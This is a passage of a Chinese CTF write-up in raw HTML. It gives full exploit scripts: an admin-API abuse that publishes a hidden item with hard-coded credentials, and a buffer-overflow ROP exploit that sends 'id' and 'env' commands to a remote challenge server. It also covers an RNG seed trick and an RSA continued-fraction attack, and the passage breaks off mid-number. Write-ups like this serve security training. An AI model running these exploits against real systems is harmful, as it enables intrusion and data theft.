data-ratio="0.2428842504743833" data-type="png" data-w="1054" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030588" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2b2124b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2MNaicoDKV38zzYm5jnYdTpLsUIQYt7V2uG4sia4ytib7n4Q6VdekYrecVRuia9WlgqiaJZGELf7UJESpjRpcmESudCBLXM2icJhiapZk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">exp</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">import requests</span><span leaf=""><br/></span><span leaf="">BASE = &#34;<a href="http://114.66.24.221:32833" target="_blank">http://114.66.24.221:32833</a>&#34;</span><span leaf=""><br/></span><span leaf="">USERNAME = &#34;anime_admin&#34;</span><span leaf=""><br/></span><span leaf="">PASSWORD = &#34;purestream&#34;</span><span leaf=""><br/></span><span leaf="">TARGET_ID = &#34;anime-0007&#34;</span><span leaf=""><br/></span><span leaf="">s = requests.Session()</span><span leaf=""><br/></span><span leaf="">def login():</span><span leaf=""><br/></span><span leaf="">    r = s.post(</span><span leaf=""><br/></span><span leaf="">        f&#34;{BASE}/api/auth/login&#34;,</span><span leaf=""><br/></span><span leaf="">        json={&#34;username&#34;: USERNAME, &#34;password&#34;: PASSWORD},</span><span leaf=""><br/></span><span leaf="">        timeout=10,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    print(&#34;[login]&#34;, r.status_code, r.text)</span><span leaf=""><br/></span><span leaf="">    r.raise_for_status()</span><span leaf=""><br/></span><span leaf="">def list_admin_anime():</span><span leaf=""><br/></span><span leaf="">    r = s.get(f&#34;{BASE}/api/admin/anime&#34;, timeout=10)</span><span leaf=""><br/></span><span leaf="">    print(&#34;[admin list]&#34;, r.status_code)</span><span leaf=""><br/></span><span leaf="">    print(r.text)</span><span leaf=""><br/></span><span leaf="">    r.raise_for_status()</span><span leaf=""><br/></span><span leaf="">def get_template():</span><span leaf=""><br/></span><span leaf="">    r = s.get(f&#34;{BASE}/api/admin/templates/review-flow&#34;, timeout=10)</span><span leaf=""><br/></span><span leaf="">    print(&#34;[template]&#34;, r.status_code)</span><span leaf=""><br/></span><span leaf="">    print(r.text)</span><span leaf=""><br/></span><span leaf="">    r.raise_for_status()</span><span leaf=""><br/></span><span leaf="">    return r.json()[&#34;data&#34;][&#34;payload&#34;]</span><span leaf=""><br/></span><span leaf="">def publish_hidden_item(payload):</span><span leaf=""><br/></span><span leaf="">    r = s.post(</span><span leaf=""><br/></span><span leaf="">        f&#34;{BASE}/api/admin/anime/{TARGET_ID}/transition&#34;,</span><span leaf=""><br/></span><span leaf="">        json=payload,</span><span leaf=""><br/></span><span leaf="">        timeout=10,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    print(&#34;[transition]&#34;, r.status_code)</span><span leaf=""><br/></span><span leaf="">    print(r.text)</span><span leaf=""><br/></span><span leaf="">    r.raise_for_status()</span><span leaf=""><br/></span><span leaf="">    return r.json()[&#34;data&#34;]</span><span leaf=""><br/></span><span leaf="">def fetch_public():</span><span leaf=""><br/></span><span leaf="">    r = s.get(f&#34;{BASE}/api/anime/{TARGET_ID}&#34;, timeout=10)</span><span leaf=""><br/></span><span leaf="">    print(&#34;[public]&#34;, r.status_code)</span><span leaf=""><br/></span><span leaf="">    print(r.text)</span><span leaf=""><br/></span><span leaf="">    r.raise_for_status()</span><span leaf=""><br/></span><span leaf="">def main():</span><span leaf=""><br/></span><span leaf="">    login()</span><span leaf=""><br/></span><span leaf="">    list_admin_anime()</span><span leaf=""><br/></span><span leaf="">    payload = get_template()</span><span leaf=""><br/></span><span leaf="">    data = publish_hidden_item(payload)</span><span leaf=""><br/></span><span leaf="">    print(&#34;[flag]&#34;, data[&#34;description&#34;])</span><span leaf=""><br/></span><span leaf="">    fetch_public()</span><span leaf=""><br/></span><span leaf="">if __name__ == &#34;__main__&#34;:</span><span leaf=""><br/></span><span leaf="">    main()</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.11388888888888889" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030592" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=88cbfca2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2O0455wt65LWxGAGvrYibcDEaXsSTcEicqH6DfAVbqX8bLe3UyLgZkbnUIH0FbeeVdLCfIOWsGlwvGhfbx18ibJp6TT3fvVfTPBLI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Crypto:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">RNG GAME</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">非预期，seed给你了，你传一个-seed就行</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Encryption</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有点难绷，看这个函数，很明显可以打pwn试试</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.26887871853546913" data-type="png" data-w="874" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030590" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=fe8075e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NiagmJ5CCbgYZLQwnnSDO2OwN5noKgpYNRGIwtM5w7mop5HhXtAWg8SQ9qHSZWEYbm8lS4A71EuVVDmBT3ibRwoVwN42iaGxL26A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">前面输入用的gets(s)，写了个 strlen(s) &lt;= 64 检查，经典x00 绕过，s 到返回地址的偏移是 0x3e8</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">payload = b</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;A\x00&#34;</span></span><span leaf=""> + b</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;B&#34;</span></span><span leaf=""> * (0x3e8 - 2) + rop_chain</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">rop打到puts(0x404120)，flag在env，ai写个脚本就行了</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span leaf="">HOST = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;114.66.24.221&#34;</span></span><span leaf=""><br/></span><span leaf="">PORT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">45625</span></span><span leaf=""><br/></span><span leaf="">OFFSET = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3E8</span></span><span leaf=""><br/></span><span leaf="">RET = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x401384</span></span><span leaf=""><br/></span><span leaf="">WIN = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x401436</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_until</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, marker: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    data = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> marker </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> data:</span><span leaf=""><br/></span><span leaf="">        chunk = sock.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">        data += chunk</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> data</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">p64</span></span><span style="line-height: 26px;"><span leaf="">(x: int)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> x.to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">build_payload</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    prefix = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;A\x00&#34;</span></span><span leaf=""><br/></span><span leaf="">    body = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;B&#34;</span></span><span leaf=""> * (OFFSET - len(prefix))</span><span leaf=""><br/></span><span leaf="">    chain = p64(RET) + p64(WIN)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> prefix + body + chain + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\n&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> socket.create_connection((HOST, PORT)) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> sock:</span><span leaf=""><br/></span><span leaf="">        banner = recv_until(sock, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;Enter plaintext in chars (max 64 chars):&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sys.stdout.buffer.write(banner)</span><span leaf=""><br/></span><span leaf="">        payload = build_payload()</span><span leaf=""><br/></span><span leaf="">        sock.sendall(payload)</span><span leaf=""><br/></span><span leaf="">        sock.sendall(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;id\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sock.sendall(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;env\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        sock.sendall(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;exit\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        out = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            chunk = sock.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            out += chunk</span><span leaf=""><br/></span><span leaf="">        sys.stdout.buffer.write(out)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Hard_RSA</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">RSA 参数设计错误 / 连分数恢复私钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">【利用思路】</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">读取题目给出的 N,e,c</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对 e / N^6 做连分数展开</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">枚举收敛分数，取分母作为候选 d</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">验证 pow(pow(2,e,N), d, N) == 2</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">用恢复出的 d 解密：m = c^d mod N</span></p></li></ol><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Util.number </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> long_to_bytes</span><span leaf=""><br/></span><span leaf="">  N =</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7491931416296662302678040939463573085135942396204215280467335969606230359294879222523795932572433201519389341189645828</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">503763041544738664221739366981075762409535100379250338620618401995088237</span></span><span leaf=""><br/></span><span leaf="">  e =</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1153824403638514961639818404863841074925611920439359070589802660868275288864817537092056019777218548066098732559309350</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3235209882333675857851474205201766462432088073466850502595023973151957686582380596898621380931508465493173088358286330</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4114664637773067535840005971643704401304633224724285123598420799123703273039535358472884867922657292715197034394927723</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3011029222764893685565282262244129049104632998451966637247546081307659293329283003511688745174518374510090612743167704</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3618123701557719705293537574753223327216241464106157844527314938761922953377602432457545712660924842168081526560420933</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1736613532922579287990041668851687948185505555509004316267249966274661709732412666527915403908735414263189907258359187</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 